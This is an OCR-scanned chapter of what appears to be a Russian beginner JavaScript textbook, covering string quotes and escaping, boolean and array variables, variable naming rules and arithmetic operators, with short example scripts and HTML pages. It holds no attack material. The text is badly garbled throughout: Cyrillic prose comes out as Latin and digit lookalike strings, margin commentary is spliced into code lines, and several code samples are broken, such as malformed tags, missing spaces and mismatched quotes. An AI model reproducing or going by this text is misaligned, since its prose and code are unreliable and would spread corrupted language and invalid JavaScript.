Lias 1 3aKpbliBatoLLas Ka-
BbIYKM ZJOJI)XKHbI COBMNaZaTh
no suay (ecnm oTkpbiBalo-
L1asd KaBblyka — OAMHOYHAS,
TO M 3aKpbiBalOLLAs 40/KHA
BbITb OAVHOYHOM).

@ "hello" © "hello'
@ 'hello' © 'hello"

KaBbluku 401XKHbl 6bITb
NPAMbIMU, @ HE KOCbIMMU:

Qun@cc 9

(VRN > N3]

CTpokoBble nocnesoBa-
TENBHOCTW BCErAa A0JIKHbI

3anucbiBaTbcs 6es nepexo-
[1a Ha HOBYO CTPOKY:

@ 'B3rnsiHu Ha mup'
© 'B3rnsnu

Ha mup'

c02/js/string-variable.js

JAVASCRIPT

var username;
var message;

username = 'KatepuHa';
message = 'B3rnaHu Ha mup';

var elName = document.getElementById('name');
elName.textContent = username;

var elNote = document.getElementById('note');
elNote.textContent = message;

c02/string-variable.html

<h1=Paii</h1>
<div id="content">
<div id="title">Mpuser,
<span id="name">apyr</span>!</div>
<divid="note">B3rnsaHu Ha mup...</div>
</div>
<script src="js/string-variable.js"></script>

PE3YJZIbTAT

fa SRS

Mpueet, Katepuna!

B3rNMAHWU HA MWUP...

@ OCHOBHbIE KOMAHAObI JAVASCRIPT



MCIOJ1Ib3OBAHWE
KABDBIHEK BHY TPV
CTPOKW/

NHoraa npuxoamnTcs nc-

c02/js/string-with-quotes.js No/b30BaTb OANHAPHbIE NN
[IBOMHbIE KaBbIYKN BHY TpU
var title; CTPOKM.
MOCKO/IbKY CTPOKA MOXET
var message; 6bITb 3aK/Il04EHA B O4UHOY-
title = ""CneumnanbHoe" npegnoxexue'; HbI€ U1 ABOVHbIE KaBblY-

KU, NpU HEOBXOANMOCTH
yKa3aTb B CTpOKe 1BOMHbIE
KaBblYKM MPOCTO 3aK/0UNTE
€e BCIO B O4NHOYHbIE.
EC/1M Bbl XOTUTE MOCTaBUTb
elTitle.innerHTML = title; BHYTPMW CTPOKOBOrO 3Ha-
YEeHUS OMHOYHbIE KaBbly-
KW, TO 4OCTATOYHO byaeT
elNote.innerHTML = message; 3aK/II0YNTb M0 LLESIMKOM
B 1BOMHbIE, KaK MOKa3aHo
B TPETbEN CTPOKE INCTUHTA
Ha TeKyLLen cTpaHuue.
c02/string-with-quotes.html Kpome Toro, cylecTsy-
eT NMpueMm, HasbiBaeMblit
<h1>Pait</h1> SKPaHMPOBAHNEM KaBblUeK.
JTo AenaeTcs Npyv NoOMOLLM
<div id="content"> 06paTHOro cieiua, KoTopbii
CTaBUTCH B CTPOKE r1epes
KaBblYKOM M06Oro TMna

message = '<a href=\"sale.html\">25% ckngka'</a>";

var elTitle = document.getElementById('title');

var elNote = document.getElementById('note');

<div id="title">"CneunanbHoe" npeanoxeHne</div>

<div id="note">0dopmnte NoagnuCKy Ha cneyuanbHole (Kak NOKa3aHo B YeTBepToN
npennomemn!</div> CTpOKE IMCTUHIA Ha 3TON
. cTpaHuue).
</div> ObpaTHbI cnelw coobuiaeT
<script src="js/string-with-quotes.js"></script> MHTepnpeTaTopy, 4To ce-

ayowmnin cumeon (KaBbluka)
BXOAMWT B COCTaB CTPOKH,
a He 03HavaeT ee KoHel,.

PE3Y/1IbTAT

Cnocobbl 406aBNEHNS KOH-
TEeHTa Ha CTpaHuLy paccMmo-
TpeHbl B rnaBe 5. B gaHHOM
npumMmepe npumeHseTcs

% CBOMCTBO innerHTML, no-
3BO/IAOLLEE A406aBNATb Ha
cTpaHnyy HTML-pasmeTky.
B HEKOTOpPBIX CAyYasix Takoe
CBOWCTBO MOXET ObITb HE-
6esonacHbiM (NogpobHee
CM. Ha c. 234-237).

"CneymnansHoe" npeanoxeHne

25% ckmpaka!

OCHOBHbIE KOMAHObI JAVASCRIPT @



MCMOJIb3OBAHWE
NEPEMEHHOW 151 XPAHEHNS
NNOMMYECKOTO 3HAYEHNS

Jlornyeckvie nepemeHHble MO-
ryT NPUHUMATb /UL O4HO W3
[BYX 3HaYeHnn — true (MCTUHA)
nnu false (10Xb), — HO Takom
TWUN AaHHbIX OYeHb yA06€eH.

B npumepe, npneBeaeHHOM
BblLLE, 3HAYeHUS true u false nc-
nonb3ytoTcs c aTpubyTom class
HTML-371eMeHTOB. 3TN 3Haye-
HUA aKTUBUPYIOT pasinyHble
npasuaa CSS: true NpUBOAUT K
oTobpaxkeHunto ranouku, false
BbIBOAMT Ha 3KpaH kpecTuk. O6
ycTaHoBKe aTpubyTa class mbl
noroBopvMm B rnase 5.

Bpsaa v Bam notpebyeTcs He-
nocpeACTBEHHO yKa3blBaTb Ha
CTpaHuue cnoBa true nnu false
(06bI4HBIM TEKCTOM). Jlornye-
CKWe TUMbI AaHHbIX aKTUBHO
NPUMEHSIOTCS B CUTYaLNAX
ABYX TUMOB.

Bo-nepBbix, Tormyeckmne
3HayeHUs ObIBAKOT NOJIE3HbI

B C/ly4asix, KOrga a/IeMeHT
MOXEeT HaX0AUTbCS NLLb

B OAHOM U3 [BYX COCTOSIHUN.
3HaveHus true/false, B CyLHO-
CTW, PaBHOLEHHbI «BKJItOYEeHO/
BbIK/ItOYeHO» nnu 0/1. Ecau true
3KBMBaneHTHo 1, To false — O

N T.o.

Bo-BTOpbIX, lornyeckume 3Ha-
YeHna ya0b6HbI, eCaN BbIMO-
HEHME KOAa MOXET MONTU Nno
OAHOMY W/ MO APYromMy nyTu.
Kak Bbl NTOMHWTE, HbIBAET, YTO
Npu pasHbiXx 06CTOATENBCTBAX
BbIMOJIHAOTCA PasinyHble
dparMeHTbl KoAa, YTO AEMOH-
CTpUpYyeTca Ha MHOTMX 610K-
CXeMax B 3TOM KHUre.

TecT npounaeH

MyTb, N0 KOTOPOMY NPOAO-
>KUTCS BbIMOJIHEHME KOAA,
3aBUCUT OT TOTO, MPONAEH U
TECT/BbINOJIHEHO /1N YC/IOBME.

c02/js/boolean-variable.js

var inStock;

var shipping;
inStock = true;
shipping = false;

var elStock = document.getElementById('stock');

elStock.className = inStock;

JAVASCRIPT

var elShip = document.getElementById('shipping');

elShip.className = shipping;

c02/boolean-variable.html

<h1>Paii</h1>
<div id="content">

<div class="message">Hannuue:
<span id="stock"></span></div>
<div class="message">[locTaBka:

<span id="shipping"></span></div>

</div>

<script src="js/boolean-variable.js"></script>

PE3YJNIbTAT

Hanuuue: @
Hocraeka: )

@ OCHOBHbIE KOMAHAObI JAVASCRIPT



COKPALLUEHHAA
SATMNNCDH
[MTEPEMEHHDBIX

- o MHoraa nporpammumcTbl
JAVASCRIPT c02/js/shorthand-variable.js npnBeraloT K COKpaLLEHHbIM

BapuaHTam co3jaHus nepe-

@var price =5; MEHHbIX. BblLLEe MOKa3aHbl
var quantity = 14; Tpu cnocoba ob6bABNEHNA
var total = price * quantity; nepemeHHbIX 1 npucsansa-

HUA UM 3HaYEHUN.

1. O6bsiBNEHNE MEPEMEHHbIX

M NpUCBanBaHMe 3HaYEHN

NPOUCXOANT B €ANHCTBEH-

@ var price, quantity, total; HOW MHCTPYKUMM.
price = 5; 2. B oaHom cTpoke 06bsaAB-
quantity = 14; NAOTCS TPU NEepeMeHHbIe,
total = price * quantity; 3aTeM KaxKAoW U3 HUX Npu-

CBanBaeTCsd 3Ha4yeHune.

3. ObbaABneHVe ABYX Nnepe-
MEHHbBIX M MpYCcBanBaHne
VM 3HaYeHUN NPpONCXoANT
B 04HOM cTpoke. O6bsB-
NleHne n npucBaneaHune
AN TpeTben NnepeMeHHoN
BbIMO/IHAETCA B CAeAytoLLen
cTpoke.

(B TpeTbem Npumepe noka-
// 3anucbiBaem pesynibTaT B 3eMEHT ¢ UAeHTUUKaTopom cost ;
3aHbl TP YNCa, HO B O4HOMN

@ var el = document.getElementById('cost'); CTPOKE MOXHO 0BBABAATS 1
el.textContent = total + ' R"; nepemeHHble, coaepxallne
AaHHblI€ PA3J/INYHbIX TU-
NoB — Hampumep, CTPOKO-
BYIO NoCcneaoBaTe/IbHOCTb

PE3YJ/IbTAT M 4ncno).

4.3aecb B NepeMeHHOM co-
AepXUTCH cCbinka Ha HTML-
3/1EMEHT, PacnoI0XeHHbIN
TYL Ha cTpaHuue. Taknum obpa-
30M MOXHO paboTaTb HEMO-

N ST T . R CpeACTBEHHO C 3/1IEMEHTOM,
| 1§ i o
COXpaHEeHHbIM B MepeMeH-

WMEHHAS TABNTUYKA Hon (nogpobHee Mbl Noro-
BOPWUM 06 3TOM Ha c. 196).

var price = 5, quantity = 14;
var total = price * quantity;

% Tbocworp: 70p i Takne cokpalleHHble Ba-
pUWaHTbl MOMOratT C3KO-
B|CIEIM[U/PH A A * CIE|T|b HOMWTb BpEMS Ha Habop

g TeKCcTa, 04HaKO OHN HEMHO-
| e ro YCNOXHAIOT BOCNpuUaTHne
Ballero koaa. lMotomy Ha
Haya/IbHOM 3Tamne 3aHATUN
nporpammmpoBaHneM pe-
KOMeHZAyeTCs genaTb Ko Ha
HECKOJ/1bKO CTPOK AJ/IMHHEE,
npu 3Tom obecneymBas ero
yA0604NTAaEMOCTb U MOHAT-
HOCTb.
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M3IMEHEHWE 3HAYEHWNHA
[MEPEMEHHOW

Koraa nepemeHHoM npu-
CBOEHO 3HayeHue, ero
MOXHO M3MEHUTb U 3aMun-
caTb B MepEMEHHYI0 Apyroe
3HauYeHue B Mpeaesnax Toro
Xe cueHapus.

Ec/iv nepeMeHHas yxe co3-
[laHa, He TpebyeTcs UCMosb-
30BaTb K/IHOYEBOE C/I0OBO
var {N8 NnpucBanBaHus en
HOBOTO 3Ha4YeHms. Bbl mpo-
cTo bepeTe UMSA NepemMeH-
HOW, CTaBUTE NOCJ/IE HEFO
3Hak paseHcTBa (kak Bbl
HaBepHAKa MOMHUTE, 3TO
onepauus NpuceanBaHmsa),
acneiom — HOBOE 3Have-
Hue.

JonycTum, B Hayane cue-
Hapusa nepemeHHas shipping
cofepxuT false. 3aTem

B KOZie ck/iagblBatoTca
YyC/I0BUSA, KOTAa Bbl yKe
MoXeTe J0CTaBUTb TOBap;
B TAKOM C/lyyae 3HayeHune
3TON NepemMeHHON cnegyeT
N3MEHUTb Ha true.

B npvBeAeHHOM BbILLE NpU-
Mepe KoAa 3HaYeHUs ABYX
nepemMeHHbIX MeHSIOTCS
MecTaMMu: true NpeBpallaeT-
cs B false, a false — B true.

c02/js/update-variable.js JAVASCRIPT

var inStock;
var shipping;

inStock = true;
shipping = false;

/* Ecnvn 3pech ByaeT NpoMcxXofuThb elle Kakas-nubo
06paboTKa, CLeHapuio MoXeT NoTpe6oBaTbCs U3MEHUT 3TH
3HayeHus */

inStock = false;
shipping = true;

var elStock = document.getElementById('stock');
elStock.className = inStock;

var elShip = document.getElementById('shipping');
elShip.className = shipping;

PE3YJIbTAT

Hanuuwe: §)
Hocraska: Q)

@ OCHOBHbIE KOMAHAObI JAVASCRIPT



[MPABNJTA MMEHOBAHINA
[TEPEMEHHDBIX

Huxxe nepeyncneHbl WeCTb NpaBW/, KOTOPbIX BCerga cre-

AYyeT NpUaepXXMBATbCA MPU MMEHOBAHUM NEPEMEHHDIX.

1

VIM$l nepemMeHHON JO/IKHO HauyMHaTbCA C
OykBbl, 3Haka gonnapa ($) Man HUXKHero
noauvepkmeanms (_). OHO He MOXET Haun-
HaTbCsA C UMdpbl.

2

MIMs nepeMeHHOM MOXET cogepXaTb
OyKBbl, Undpbl, 3HaK gonanapa ($) 1 HUX-
Hee noagdyepkuBaHue, Ho He aeduchl (-) Uan
To4ykm ().

3

B kauecTBe NnepeMeHHbIX He/lb351 UCMOJIb-
30BaTb K/10YEBbLIE UV 3ape3epBUPOBaH-
Hble cnoBa. Kno4yeBbIMY Ha3blBalOTCSA
ocobble CN10Ba, AalOLNE MHTepRpeTaTopy
KOMaHAY BbINMOJIHUTb TO AN UHOE Ael-
cTBMe. Hanpumep, KntoueBoe C/I0BO var
npuMeHseTCcs 4718 0O6bsABEHNS MEPEMEH-
HOW. 3ape3epBMPOBaHHbIE C/IOBA MOTYT
nepenTu B paspsas KA0YEBbIX B OygyLymx
Bepcusax JavaScript.

OOMNOJIHNTEJIbHO:

CM. MOMHBIN CNNCOK K/OYEBbIX U 3ape3epBu-
poBaHHbIX cnoB JavaScript 8 PDF-daiine cpean
NPUMEPOB K KHUTe.

4

Bce nepeMeHHble YyBCTBUTE/IbHbI K pe-
rMCTPY, MOTOMY score 1 Score — 3TO UMeHa
ABYX pa3HbIX NnepeMeHHbIX. OgHaKo He
peKOMEHAYeTCA CO34aBaThb MepeMeH-
Hble, YbM MMEHA OT/INYAIOTCS TOIbKO
PErNCTPOM.

5

MIMs nepeMeHHOM AOIKHO yKasbliBaTb Ha
TO, UHOPMaLMA KaKoro poaa XpaHUTcs
B NmepemMeHHON. Hanpumep, B firstName
00bIYHO XPaHUTCA UMS YeslIoBEKa, B
lastName — dammnnsg, B age — BO3pacT.

6

Ecnn uma nepemMeHHomn cocTouT bonee
4eM U3 0A4HOr0 C/I0Ba, TO BCE OHU, KpOME
nepBoro, I0/1Hbl HAYMHATbLCA C 3ar/i1aB-
HoW BykBbl. MpaBuabHO: firstName, He-
npaeuabHo: firstname. MoA06HbIN cnocob
3anncu HasbiBaeTCcd BepOOXbUM, UK
ropbaTtbim, permncTpom. MoxHo pas-
AEeNATb C/I0OBA B UMEHWN NepeMeHHON

npy MOMOLLY HUXKHEro NogYepKnBaHms
(Ho He aedwuca).
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MACCHKBbI

MaccmB — 3T0 0CcobbIN BUA NepeEMEH-
HbIX. B MaccmBe XxpaHUTCA He OAHO 3Ha-
YeHue, a Lie1bl CNNCOK TaKOoBbIX.

Ecnu Bbl paboTaeTe co criu-
CKOM VNN C AAPYTUM MHOXE-
CTBOM B3aMMOCBSA3aHHbIX 3HA-
YeHuit, TO ux uenecoobpasHo
XpaHWUTb B Maccuee.

MaccuBbl 0COBEHHO NOJEe3HbI,
eC/Iv 3apaHee He N3BECTHO,
Kak MHOrO 3/1eMeHTOoB bygeT
B cnucke. Jle/1o B TOM, 4TO Npu
CO3/aHUN MAccKBa He yKa-
3bIBAETCS, CKOSIbKO 3HAYEHMN
B HEM MJIaHNpyeTCa pasme-
CTUTb.

Ecnv Bbl He 3HaeTe, C Kakum
KOIM4YeCTBOM 3/IEMEHTOB
BamM npunaetca pa6OTaTb B
KOHEYHOM UTOre, TO Iyylle He
CO034aBaTb MHOXeECTBO nepe-
MEHHbIX (I'IOCKO/'Ibe BMNoOJiHE
BO3MOXHO, 4YTO Ha NpakTunkKe
I'IOHaAO69|TCFI NLWb HEMHOrne
ns3 HMX), a BOCNONb30BaTbCA
MacCcCnBOM.

Hanpumep, maccuB ygobeH
ANA XPAHEHWS OTAE/bHbIX
3/16MEHTOB U3 CNKCKa NOKY-
MoK, MOCKOJ/IbKY OHW B3aWMO-
CBA3aHbI.

Kpome Toro, Bcsikuit pas npu
CO3/aHUN CIMCKa NoKynokK
KO/IMYECTBO 3/IEMEHTOB B HEM
MOXET OT/INYaTbCs OT Npeabl-
Ayliero cayyas.

Kak byzeT nokasaHo Ha cnie-
AYIOLLEN CTPpaHULEe, 3HaYeHns
B MaccuBe paszgensoorcs
3anaTbIMu.

B rnaee 12 Bbl ybeguTecs,
HaCKO/1bKO Mone3Hbl ObiBaloT
MaccuBbl MpM ONepupoBaHnn
CNOXHBIMU J@aHHbIMU.




CO30AHVE MACCUBA

JAVASCRIPT c02/js/array-literal.js

var colors;
colors = ['6enblii', "uepHblit', 'nonb3oBaTenbckuit'];

var el = document.getElementById('colors');
el.textContent = colors[0];

PE3YJIbTAT

o ]

LseT: 6enbii

JAVASCRIPT c02/js/array-constructor.js

var colors = new Array('6enbiit',
'yepHbInt',

'nonb3oBaTenbckuin');

var el = document.getElementById('colors');

el.innerHTML = colors.item(0);

MaccuBbl peKOMeHAYETCSA CO34aBaTh NMPY MOMOLLM IMTEPAIOB
(CM. MepBbIA IMCTUHT Ha 3TOM CTpaHMULE), @ He KOHCTPYKTOopa.

MbI co3aem MaccuB 1 gaem
eMy UM$ TOYHO TakK Xe, Kak
npu paboTe c 0bbIYHOM Nepe-
MeHHon (OHO nAeT 3a ktoye-
BbIM C/IOBOM var).

3HayeHuns, NpUcBanBaemMble
3/1eMEHTam MaccuBa, nepe-
UNCNATCA B KBaZpaTHbIX
ckobkax yepes 3ansTyto.
MaccurB MoXeT cogepxkaTb
0AHOBPEMEHHO pasHble
TWMbl A@HHbIX: U CTPOKOBbIE,
1 YUCIOBbIE, U SIOFUYeckme
3HaYyeHus.

MpeAcTaBAeHHbIN B NEPBOM
npumepe BapuaHT UMeHyeTcs
mTepasbHbiM. Kak npasuio,
MacCUBbl CO34aI0TCS UMEH-
HO Taknum MmeToAoM. MoXHO
3anmncaTtb KaXxJoe 3HavyeHune B
OTAENbHOM CTPOKe:

colors = ['6enbiit',
'yepHblit',

'nonb3oBarenbckuit'];

Bo BTOpom npumepe nokasaH
ApYrow cnocob: KOHCTPYyKTOp
MaccrBa. 34eCb UCTMOb3yeTCs
K/Il04YeBOe C/I0BO New, 3a KOTo-
pbim cneayeT Array();. 3Have-
HUsA 3agatoTcs B Kpyrbix (a He
B KBaApaTHbIX) CKOBKax yepes
3anatyt. Jna nssnedyeHus
ZlaHHbIX U3 MaccuBa CAYXUT
MeTog item() — HoMep (UH-
[leKC) 3/leMeHTa yKasblBaeTCs
B CKOOKax.
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SHAYEHNA B MACCHVBE

Z]locTyn K 3HaYeHUAM B MacCUBE OCYLLLEeCT-

BN1€TCS COrNAaCHO HYMepPOBaAHHOMY CMu-

CKY. Ba>kHO y4nTbIBaTb, YTO HYMepauus npu
3TOM HauymHaeTcs ¢ Hyna (a He C eguHNLbI).

HYMEPALUUA
SJIEMEHTOB
B MACCUBE

Kaxabln 3n1eMeHT B Maccu-
Be aBTOMaTMYeCKM Nosyya-
eT HoMmep, KOTOpbI Ha-
3bIBaeTCA MHAEKC. IHAEKC
npuMeHsaeTcs 409 4oCcTyna
K KOHKPETHbIM 3/IEMEHTaM
B Mmaccuse. PaccMoTpum
cneayoLwmin Maccus, B
KOTOpPOM coZepxaTcs Tpu
uBeTa:

var colors;

colors = ['6enblit’,
'YepHslit',
'nonb3oBatenbckuit'];

Ha nepBbI B3rnsa kaxeTcs
HEMPWBbIYHBIM, YTO MHAEKC
HauMHaeTca c Hyns (a He C
eanHuubl). B cnegytowen
Tabnunue NnpeacTaBaeHbl
3/1IEMEHTbI MaccuBa 1 cooT-
BETCTBYHOLLME UM 3HAYEHUNS
nHAaekca:

MHAOEKC 3HAYEHUE
0 'Genblit’
1 "YepHblit'
2 ‘nonb3oBatenbckuit'

DOCTYN K
SJIEMEHTAM
MACCUBA

Ana nssnevyeHmna ns cnncka
TPEeTbero aieMeHTa Mbl
yKa3blBaeM B KBagpaTHbIX
CKOBKaxX UMS 3TOro 31eMeH-
TaunnHAEKC.

Huxe nokasaHo obbsiBne-
Hne nepemeHHon itemThree.
B kauecTBe ee 3HaYeHUs
yCTaHaB/MBaEeTCA TpeTui
uBeT 13 maccuea colors.

var itemThree;
itemThree = colors[2];

@ OCHOBHbIE KOMAHObI JAVASCRIPT

KOJIMYECTBO
SJIEMEHTOB
B MACCUBE

Y KaxAoro maccmsa ecTb
cBoWCTBO length, rae coaep-
KUTCA KOSIMYECTBO 3/IEMEH-
TOB JaHHOTO MaccuBa.

Mpexae yem nepenTn K
paboTe C 3TUM CBOWNCTBOM,
06BABUM NEPEMEHHY IO
numcColors. Ee 3HayeHne
pPaBHO YNC/Y 3/IEMEHTOB B
maccuse.

3a MMeHeM MaccuBa cnegy-
eT Touka, a 3aTeM — KJitoye-
Boe cnoso length.

var numColors;
numColors = colors.length;

[Jlanee Ha cTpaHuUax aTon
KHUrn (ocobeHHo B rna-

Be 12) Bbl nogpobHee nosHa-
KOMUWTECb CO CBOMCTBaMM
mMaccuBoB. MaccuBbl —
OYeHb MOLLHbIN U TMBKNIN
3/1eMeHT s3bika JavaScript.



NOCTYI K 2JIEMEHTAM
MACCUBA N NSMEHEHNE
X SHAYEHWW

JAVASCRIPT c02/js/update-array.js

// Co3paem maccus
var colors = ['Genblit’,
'YepHbIit',

'nonb3oBaTenbckui'];

// 06HOBNSIEM TPETHUII IN1EMEHT B MacCuBe
colors[2] = '6exesblit';

// Nony4yaem 3nemeHT ¢ ugeHTudukatopom colors
var el = document.getElementById('colors');

// 3amMeHsieM ero TpeTbUM 3/IEMEHTOM U3 MAcCUBA
el.textContent = colors[2];

PE3YJIbTAT

B mepBbIX CTpoKax pac-
MONOXEHHOrO BblLLE KOAa
CO3/aeTCcs Maccus, Co-
JepXaLnii CIUCOK U3 Tpex
L|BETOB. 3HAYEHMNA MOXHO
n06aBnATb Kak B O4HOWM
CTPOKE, TaK v B OTAE/bHbIX
(3TOT BapuaHT nokasaH B
JINCTUHTE).

Mocne co3agaHna maccu-
Ba Mbl XOTUM TPETUI ero
3/1EMEHT 'nonb3oBaTensCckuit'
3aMEHWUTb Ha 'Gexesbii'.

YT06bl NONYYNTH AOCTYN

K 3HaYeHMI0 B MacCuBE, Mbl
yKa3biBaeM B KBaZpaTHbIX
ckobkax nocsie MUMeHU Mac-
CMBa MHAEKC MHTepecytoLe-
ro Hac aieMeHTa.

YTO6bl UISMEHUTb 3HAYEHNE
3/1IEMEHTa B MacCuBE, HY X-
HO BblZ€/INTb 3TOT 3/1IEMEHT
M NPUCBOUTb EMY HOBOE
3HavyeHue, kak Npu paboTe c
ntobon 4pyron NnepeMeHHom
(Npv NOMOLLM 3HaKa paBeH-
cTBa).

MocneaHne ABe NHCTPYK-
LMy 406aBNAIOT Ha CTPaHU-
Ly CBEXWN 0OBHOBNEHHbIN
3/1IEMEHT MaccuBa.

Ecnv Bbl XOTUTe 3anuncaTb
BCE 3/1IEMEHTbI, HaxoasLme-
CcS B MaccuBe, BOCMO/b3yW-
TEeCb A4/151 3TOr0 LINKAOM.

C uMKAaMMN Mbl MO3HAKOMUM
Bac Ha c. 176.
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BbIPAXEHWA

Bbipa)keHue pe3ynbTupyeT B OAMHOYHOE 3HaYeHune. B wn-
POKOM CMbIC/1E Pa3/IMYaOTCS BblpaXKeHWss ABYX BUOB.

BbIPAXKEHUS,
NMPUCBAUBAIOLLIME 3HAYEHUE
NMEPEMEHHOMN

YT06bI NEpeMEHHYH MOXHO BbiNo nc-
No/sb30BaThb, €M HY>XXHO NPUCBOUTbL 3HaYe-
Hue. Kak Bbl y>Xe 3HaeTe, 3To AenaeTca C
NMOMOLLLbIO 3HAaKa paBeHCTBa:

var color = '6exeBblit';

Tenepb NnepemeHHas color UMeeT 3Have-
HUe BexeBbIi.

Koraa Bbl 06bABNSETE MEPEMEHHYIO NPU
MOMOLLM K/IH0YEBOTO C/I0BA var, OHa No-
nyvaet ocoboe 3HayeHue undefined. Mocne
TOro Kak Bbl MPUCBOUTE el Kakoe-HUbyab
4YNCNO, CTPOKY U T.M., 3TO 3HAYEHME N3~
MeHNTCA. C TEXHWNYECKOM TOYKU 3peHmns
undefined npeacTaBasieT cobon TUN AaH-
HbIX, MOAOOHbIN YNCAY, CTPOKE UAN N1OTK-
4eCKOMY 3HaYeHMuto.

@ OCHOBHbIE KOMAHObI JAVASCRIPT
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BbIPAXKEHWN4,
MCNOJIb3YIOWHUE OABA
WM BONEE 3HAYEHUI

N NONYYAKLLUMNE HA UX
OCHOBE OAHO NTOIOBOE

MO>HO BbIMOMHATL ONepaLmm Haa -
6bIM KOSIMYECTBOM OTAE/bHbIX 3HAYEHU
(noapobHee cM. Ha crieayOLLLEN CTPaHU-
ue), nony4as B pesynbtate 04HO UTOrO-
Boe. Hanpumep:

vararea=3 * 2;

3HayeHue area byaeT paBHoO 6.

3/4ecb BbipaxeHue 3 * 2 (onepaumna yMmHo-
XeHWsa) gaeT B pesynbTaTte B 6. 34eCh
Tak>Xe NCMosib3yeTCs onepauns npu-
CBavMBaHWA — pe3y/ibTaT BbipaxeHusa 3 * 2
COXpaHseTCsa B MepeMeHHOM area.

Jpyroi npumep, B KOTOPOM BblpaxkeHune
MCMNONb3yeT ABa 3HAYeHUs 415 nosyye-

HUS TpeTbero: 06beANHEHME ABYX CTPOK
B OZHY.



ONEPALNN

BbipakeHns paboTaloT Ha OCHOBE Tak Ha3biBaeMbix one-
paunin. OHY NO3BONAAT NPOrpaMMUCTY NOJTy4aTb OAHO
3HAa4YeHVe B Ka4YeCTBE UTOra AeNCTBUW Ha HECKO/IbKVMM

NCXOAHBIMMW.

B aTOM rnaBe paccMmaTpuBatoTCA:

ONEPALUUA NMPUCBAUBAHNA

MpucBanBaeT 3HaYyeHMe
nepemMeHHoWn:

color ="6exeBblin’;

Tenepb nepemMeHHas color UMeeT 3HaYeHne
6exesblit (CM. C. 67)

APUOMETUYECKUE OMEPALINA

BbinonHsOT NpocTenLne matemaTunye-
cKue AencTBuS:

area=3*2;

Tenepb nepeMeHHas area UMeeT 3HaYeHune 6
(cm. c. 82).

CTPOKOBbIE ONMEPALIUU
KoMBUHUPYIOT AiBE CTPOKMU:
greeting = 'Mpueer, ' + 'KaTepuHa';

Tenepb nepemMeHHas greeting UMeeT 3Ha4YeHNe
Mpuset, Katepuna (cm. c. 84)

B rnaBe 4 paccmaTpuBatoTCs:

OMNEPALMN CPABHEHUA

CpaBHMBalOT AiBa 3Ha4YeHMs 1 BO3Bpalla-
0T true nnw false:

buy=3>5;

Tenepb 3HauyeHMe NepeMeHHON buy paBHO false
(cm. c.156).

JTOTMYECKUE ONMEPALIUA

CpaBHMBatOT Bblpa>KeHWs 1 BO3BpaLLaloT
true nnwu false:

buy=(5>3) && (2 < 4);

Tenepb 3HauYeHMe NepeMeHHON buy paBHO true
(cm. €. 162).
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APNOMETUNYECKHWME
OINEPALNN

B a3bike JavaScript ncnonb3sytorca cneayro-
Lnme maTeMaTu4eckme JencTBus, npegHa-
3HaYeHHble Ana paboTbl ¢ yncaamm (HekoTo-

pble N3 HNX Bbl AO0J1>XKHblI MTOMHWTb CO LLIKOJ1bI).

nMs ONEPALUA HA3HAYEHUE MPUMEP : PE3YJIbTAT
CNOXEHUE + MprbaBasieT 0O4HO 3HAYEHME K 10+5 15
77777777777777777777 Apyromy
BbIYUTAHUE OTHMMaEeT 0AHO 3HaYyeHue oT 10-5 5
ApYyroro
L[ENEHUE / JennT o4HO 3HaYeHne Ha apyroe 10/5 2
YMHOXEHWE YMHOXaeT 0HO 3HaUYeHWe Ha Apy-
* roe (06bpaTuUTe BHUMAHWE: 34eCb 10*5 50
MCMONb3YeTCA 3BE3/04Ka, a He
CUMBOJ x)
YBEJIMMEHUE Mpubasnset eAVHULY K TEKYLLEMY i=10;
HA EANHMLY ++ 3HaYEHMIO . 11
YMEHbLUEHWE BbiunTaeT egnHMLy 13 TekyLlero i=10;
HA EAUHULY == 3HayeHns e 9
MOoAyIib % JlennT 04 HO 3HaYeHWe Ha gpyroe u 10 % 3 1
BO3BpallaeT oCcTaTok

norPAAOK BbIMOJIHEHUA

B BbIpa>keHUn MoryT BbINo-
HSTbCS HECKO/IbKO apud-
MeTNYeCKnX onepauunin,
MO3TOMY BaXHO 3HaTb, Kak
BblUMC/ISeTCS pe3ybTaT.
YMHOXeHWE 1 AgefieHne
BbINONIHAOTCS B r1€pBYH0
ouyepefb, C/IOXKEHUNE U Bbi-
YynTaHve — BO BTOPYt0. ITO
MOXEeT B/USATb Ha oxXuae-
MbIt oTBeT. [laBanTe pac-
CMOTPUM MPUMEPBI.

B cneaytowiem BbipaxeHuu
CNIOXEHWNE YMNCES BbIMNOMHA-
eTcs c/ieBa Hanpaso, CymMma
paBHa 16:

total =2+ 4 + 10;

PesynbTaT cneaytolero
npumepa paseH 42 (a He 60)

total=2+4 * 10;
,£l,er|o B TOM, UTO YMHOXeHNE
n AeneHne BbIMONHAKTCA

paHbLie, HeM C1oXeHne n
BblHUTaHMe.

OCHOBHbIE KOMAHObI JAVASCRIPT

YT0o6bl USMEHUTH NOPAAOK
BbIYMCNEHNI, MOMECTUTE
B CKOBKM TO AeNCTBUE, KO-
TOpPOE XOTUTE BbIMOAHUTb
repsbiM. Tak, pesynbrat
CNeAyLEro BbipaxeHns
paBeH 60:

total = (2 + 4) * 10;

CKkobBKM 03HaAYatoT, YTO CHa-
Yyana 2 npubasnsaetcsak 4,

M TONIbKO 3aTem pe3ynbTaTt
3TOr0 AeNCTBUS YMHOXaeT-
cs Halo.




NCIMOJIb3OBAHWE
APNOMETUNYECKWNX
OlNEPALINN

L . . B 3TOM nprvmepe npoAeMOH-
JAVASCRIPT c02/js/arithmetic-operator.js CTPUPOBaHO, Kak MaTema-
TU4Yeckune onepaumm nc-
var subtotal = (13 + 1) * 5; NoNb3YITCH C YNCAaAMU ANS

pacueTa obLei CTONMOCTH.
[MepBas rpynna cTpok KoAa
var shipping =0.5 * (13 + 1); CO34a€ET fABE NEPEMEHHbIE:
0fiHa XpPaHWUT CTOUMOCTb
3aKasa, gpyrasi — UeHy f0-
CTaBku. MiIMeHa aTux nepe-

var total = subtotal + shipping; MeHHbIX subtotal v shipping,
COOTBETCTBEHHO.

// NepemenHas subtotal pasHa 70

// NepemenHas shipping paeHa 7

// NepemexHas total pasHa 77 B
B TpeTben cTpoke cymma

onpegendgeTca nytem cno-
var elSub = document.getElementById('subtotal'); XKEHUS 1BYX NPOMEXYTOuU-

HbIX 3Ha4YeHUN.
elSub.textContent = subtotal;

34ecb Mbl BUAMM, Kak

MaTemaTuyeckue onepaumm

var elShip = document.getElementById('shipping'); MOryT MCMO/b30BaTh Nepe-
. ek . MeHHble AN NpeACcTaB-
elShip.textContent = shipping; A e, EE @A
3TOMY 4YnCa He NPpUXoanT-
C4 3anncbliBaTb HeENocpea-

var elTotal = document.getElementById('total'); CTBOHHO B Koae

elTotal.textContent = total;
OcTaBlUMecs WecTb CTPOK

